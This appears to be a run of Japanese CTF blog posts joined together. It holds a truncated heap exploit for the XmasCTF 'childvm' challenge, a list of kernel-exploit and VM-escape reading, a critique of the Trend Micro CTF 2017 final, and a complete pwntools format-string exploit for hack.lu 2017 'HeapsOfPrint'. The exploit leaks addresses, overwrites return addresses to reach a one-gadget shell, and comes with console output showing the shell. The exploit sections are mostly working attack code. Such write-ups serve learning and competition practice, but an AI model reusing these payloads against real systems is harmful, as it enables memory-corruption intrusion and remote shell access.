def sub(op1, op2): return chr(80) + p32(op1) + p32(op2) def read(op1, op2): return chr(112) + p32(op1) + p32(op2) def movm(op1, op2): return chr(128) + p32(op1) + p32(op2) def puts(op1, op2): return chr(144) + p32(op1) + p32(op2) payload = '' payload += malloc(0x80, 0xdeadbeef) payload += movm(0, 3) payload += malloc(0x80, 0xdeadbeef) payload += free(0,0) payload += puts(0,0) conn.send(payload) time.sleep(0.1) conn.recvuntil('\xb0') conn.recv(3) libc_base = u32(conn.recv(4)) - offset log.info('libc_base = 0x%x', libc_base) payalod = '' payload += movm(0, 3) payload += movi(1, 0x9) payload += read(0, 0) payload += '/bin/sh\x00\x00' payload += movi(2, libc_base + 0x1b38b0) payload += movm(0, 2) payload += read(0, 0) payload += p32(libc_base + 0x3ada0)*2 + 'a' payload += movm(0, 3) payload += free(0, 0) conn.send(payload) conn.interactive()
root@ubuntu:~/ctf/XmasCTF/childvm/childvm# python exploit.py r [*] '/root/ctf/XmasCTF/childvm/childvm/childvm' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Opening connection to 45.32.113.43 on port 31338: Done [*] Pwning [*] libc_base = 0xf75b1000 [*] Switching to interactive mode \xb07v�7v� $ id uid=1001(childvm) gid=1001(childvm) groups=1001(childvm) $ cat flag XMAS{i'm_not_solo_TT}
おわりに
メリークリスマス!!!!!
Kernel ExploitとかVM Escapeについて調べた時に見つけたリンクまとめ
この記事はCTF Advent Calendar 2017の1日目です。
タイトル通りですが、本人は読んで満足する人間なので、中身は理解していないです。付け合わせで、CTFで出題された関係のありそうなやつもまとめました。
Kernel Exploit関連
Linuxでのlocal privilege escalationを目的としたもの。
pdfとかスライド
- Linux Kernelのソース linux - Elixir - Free Electrons
- Kernel Stackでのbuffer overflowについて Exploiting Stack Overflows in the Linux Kernel | Jon Oberheide
- CVE-2014-3153(Towelroot)について Exploiting the Futex Bug and uncovering Towelroot – Tinyhack.com
- GitHub - jonoberheide/ksymhunter: Routines for hunting down kernel symbols.
- GitHub - jonoberheide/kstructhunter: Routines for hunting down kernel structs.
- リンクまとめ GitHub - xairy/linux-kernel-exploitation: A bunch of links related to Linux kernel exploitation
- Androidだけどdocsにあるpdfは参考になる GitHub - Fuzion24/AndroidKernelExploitationPlayground
- すごい参考になる katagaitai CTF勉強会 #3 pwnables編 - 31C3 CTF pwn30 nokia1337, pwn50 nokia31337 / katagaitai CTF #3 // Speaker Deck
- セキュキャン2017全国の資料 カーネルエクスプロイトによるシステム権限奪取 // Speaker Deck
- K/VM探検隊の資料 $Hell on Sony Snatch the Kernel privilage from Browser // Speaker Deck
- BlueBorne http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper.pdf?t=1505222709963
- https://jon.oberheide.org/files/stackjacking-infiltrate11.pdf
- カーネルエクスプロイト入門 - Linuxカーネル解析の基礎 - - るくすの日記 ~ Out_Of_Range ~
- カーネルエクスプロイト入門2 - 特権モードを利用した権限昇格の仕組み - - るくすの日記 ~ Out_Of_Range ~
- 参照カウンタオーバーフローを利用したLinuxカーネルエクスプロイト(CVE-2016-0728) - るくすの日記 ~ Out_Of_Range ~
CTFの問題
JFK/Umass (Boston Key Party CTF 2015)
32bit ARM Linux。初めての人にオススメKNOTE (0CTF 2017 Quals)
x64 Linux。Heap使うらしいcred_jar (0CTF 2017 Finals)
x64 Linux。Race Conditionらしい- 問題リンク
ない - writeup
exploit for cred_jar · GitHub
- 問題リンク
SH1TTY (Insomni’hack finals 2015)
キーロガーpwnable.krの各種問題
syscall, rootkit, softmmu, towelroot, kcrc, exynosが該当。ZX2C4 Kernel Pwn Challenge
よくわからんLinux Kernel CTF
適当にググったら出てきた。
VM Escape関連
色々あるけどQEMUがメイン。
pdfとかスライド
- 雰囲気掴むには良いペーパーで、読めば流れは理解できる http://www.phrack.org/papers/vm-escape-qemu-case-study.html
- http://www.powerofcommunity.net/poc2016/wei.pdf
- https://media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf
- https://cansecwest.com/slides/2016/CSW2016_Wang_DockerEscapeTechnology.pdf
- 下の資料 http://conference.hitb.org/hitbsecconf2016ams/wp-content/uploads/2015/11/D1T1-Shengping-Wang-and-Xu-Liu-Escape-From-The-Docker-KVM-QEMU-Machine.pdf
- docker escapeの発表の動画 https://www.youtube.com/watch?v=XcvRfg3_ACY
CTFの問題
qemuarm (hxp CTF 2017)
QEMU ARMっぽいが確認していないbabyqemu (HITB GSEC 2017)
QEMU Escapeのbaby問題- 問題リンク
ない - writeup
HITB GSEC 2017: babyqemu
- 問題リンク
Unchained QEMU (0CTF 2017 Finals)
x64のuseland qemuからのvmescape- 問題リンク
ない - writeup
ない
- 問題リンク
おわりに
他にもあった気がするがメモが見つからない。これいいぞとかあったら教えてください。
Trend Micro CTF 2017 - Raimund Genes Cup - The Finalの感想
hamaです。TokyoWesternsとしてTMCTF Finalに参加しました。今回はwriteupではなく感想と愚痴です。僕の感想を箇条書きにすると、
- 今年のTMCTF Finalは良くなかった
- 全体を通して、問題がCTFとして面白くない
- 本当にverifyしたのかと疑うレベルの杜撰な問題を出題しないでほしい
- TMCTFとは関係のない他所様のサービスやサーバーに依存した問題を出題しないでほしい
以上で僕の言いたいことは終わりです。なので以降は適当に流してください。
なぜそう感じたのかを理由を書いていくと、殆どの問題に無駄なところでguessing要素が多かったです。問題の本質ではないところで躓くことが多く、技術を競うコンテストであるはずのCTFでguessingが必要な問題は害悪でしかないと考えている僕にとって今年のTMCTF Finalは苦痛でした。得点状況を見ながらヒントを随時公開してくれたことは有難かったのですが、そもそもヒントがないと解けない/意図が察せないことは、問題の作りが甘い証拠です。少なくとも予選を勝ち上がったCTFチームが5時間取り組んでsolve0だったら作問ミスを疑うのは自然ではないでしょうか?(1チームが解けるかどうかの難問は話が別です) それに地味にヒント中のツールのURLがNot Foundだったりと最高でした。あらかじめヒントを考えていた旨を運営から聞きましたが、それぐらいの確認はして欲しいです。CTFをやっている人間は技術を競い合うのが好きな人間で(少なくとも僕はそうです)、想像力を働かせて手当たり次第に試すようなコンテストはやりたくありません。やりたい問題は自然な思考に則った技術的な問題です。この辺りが本当にverifyしたのかと疑いたくなる理由です。作問者の想定解通りにやればフラグが得られる程度の確認は不十分です。何も情報がない状態(参加者と同じ状態)からフラグが取れるかどうかまでをテストするのは当たり前です。(これが実際はすごく大変な作業であることは自分たちのCTFを開催しているので理解しています。しかし開催する以上やるべきでしょう)
それにCTFとは全く関係ない外部のwebサービスを使う必要はあったのでしょうか? 静的なhtmlとphpファイルが1つしかないブログで、他所様のブログサービスを使う必要はないはずです。 その程度だったらローカルでwebサーバー立てるか、vpsもしくはクラウドサービスを使用して運営が管理するサーバーで良いはずです。 OSINTという情報が合っているのかどうか確証が持ちにくいジャンルでパスワードを当てる問題だと辞書攻撃をするのは当然の流れで、TMCTFとは関係ないサーバーにブルートフォースすることになるのは倫理的に厳しいです。 また、他の問題で使っていた外部サービスからはBANされて、そのままでは問題が解けない状況になるのは、有り得ないです。
ここまでかなり批判してますが、僕はTMCTF Finalを楽しみにしていました。前回参加したチームメイトから「去年のコンテストはよかった」と聞いていました。信じた自分がバカなだけですが、それでも同日開催のAVTOKYOに行くよりも絶対楽しいだろうと思っていました。蓋を開けてみたら、まぁこの有様です。期待していた分、失望も大きいです。これが初めて開催する名も知られてないようなCTFなら、「クソCTF」と一言twitterに書き込んで終わりですが、Trend Micro CTFは今年で3回目です。今までのノウハウやフィードバックがあったはずです。本当に残念でした。
参加者が求めているものと、運営が用意するものに大きな隔たりを感じているので、これを埋めない限り良い評価は得られないと思います。CTFTimeのvotingのコメントでフィードバックは得られるので確認して欲しいです。 来年開催するかどうかまだ分かりません。ここまでボロクソに書いておいてあれですけど、僕個人としては「金輪際参加しない」とか見限るつもりはないので来年も楽しみにしています。来年は予選も含めて賞賛されるCTFを開催して欲しいです。
TMCTF運営が見るかもしれないので、参考になりそうなものを置いておきます。是非読んでください。強豪チームのPPPが書いたCTF開催者向けの資料です。 docs/suggestions-for-running-a-ctf.markdown at master · pwning/docs · GitHub
hack.lu CTF 2017 HeapsOfPrint writeup
はじめに
色々と試したら, saved rbpを部分的に書き換えて_start
を戻りアドレスになるようにすることで再度FSAができるようになった. あとは適当にstack上にone gadget RCEを指すアドレスを作り, mainの戻りアドレスをそこにした.
exploitではheapのアドレスをリークしてるが, 結局使わなかった. 最初はheap上にstack pivotを狙っていたが途中で方針を変更した名残である.
exploit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') # context.log_level = 'debug' # output verbose log RHOST = "flatearth.fluxfingers.net" RPORT = 1747 LHOST = "127.0.0.1" LPORT = 1747 # libc = ELF('./libc.so.6') elf = ELF('./HeapsOfPrint') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *do_that+46 c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./HeapsOfPrint'], gdbscript=execute) else: conn = process(['./HeapsOfPrint']) # conn = process(['./HeapsOfPrint'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation log.info('Pwning') conn.recvuntil('My favourite character is ') offset = ord(conn.recv(1)) + 1 payload = '%' + ('%dc'%(offset+0x58)) + '%6$hhn' payload += 'xxxx%17$p' payload += 'yyyy%14$p' payload += 'zzzz%16$p' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') libc_base = int(conn.recv(14),16) - 0x20830 conn.recvuntil('yyyy') stack_addr = int(conn.recv(14),16) conn.recvuntil('zzzz') bin_base = int(conn.recv(14),16) - 0x990 log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) log.info('bin_base = 0x%x', bin_base) ret_offset = 0x6f6 ret = bin_base + ret_offset offset = 0xb0 offset = stack_addr - offset offset = offset & 0xffff log.info('offset = 0x%x', offset) # payload = '%' + ('%dc' % (offset - 8*4) ) + '%6$hn' + p64(ret)*0x4 + 'a'*8 payload = '%' + ('%dc' % (offset) ) + '%6$hn' payload += 'xxxx%14$s' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.recvuntil('xxxx') heap_base = u64(conn.recv(6)+'\x00'*2) - 0x410 log.info('heap_base = 0x%x', heap_base) start_addr = bin_base + 0x906 start_offset = start_addr & 0xffff stack_offset = 0xffff & (stack_addr -0x58 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x158 + 0x18) one_gadget = libc_base + 0xf1117 log.info('one_gadget = 0x%x', one_gadget) payload = '%' + ('%dc'%( stack_offset )) + '%51$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) ret_offset = 0xffff & (stack_addr - 0x1d0 + 0x70) ga_offset = 0xffff & one_gadget payload = '%' + ('%dc'%( ga_offset )) + '%83$hn' payload += '%' + ('%dc'%( ret_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) stack_offset = 0xffff & (stack_addr -0x56 + 0x1a0 - 0x228) ret_offset = 0xffff & (stack_addr - 0x1f0) payload = '%' + ('%dc'%( stack_offset )) + '%73$hn' payload += '%' + ('%dc'%( ret_offset - stack_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) print "last" ga_offset = (one_gadget & 0xffff0000) >> 16 stack_offset = 0xffff & (stack_addr - 0x280 + 0x198) payload = '%' + ('%dc'%( ga_offset )) + '%105$hn' payload += '%' + ('%dc'%( stack_offset - ga_offset + 0x10000)) + '%6$hn' conn.sendlineafter('I hope yours as well! Is it?', payload) conn.interactive()
root@ubuntu:~/ctf/hack.lu2017/HeapsOfPrint# python exploit.py r [*] '/root/ctf/hack.lu2017/HeapsOfPrint/HeapsOfPrint' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to flatearth.fluxfingers.net on port 1747: Done [*] Pwning [*] libc_base = 0x7faee5e76000 [*] stack_addr = 0x7ffc3b2138f8 [*] bin_base = 0x55ea89222000 [*] offset = 0x3848 [*] heap_base = 0x55ea8a799000 [*] one_gadget = 0x7faee5f67117 last [*] Switching to interactive mode \x90$ ls flag HeapsOfPrint setup.sh $ cat flag FLAG{dr4w1ng_st4ckfr4m3s_f0r_fun_4nd_pr0f1t}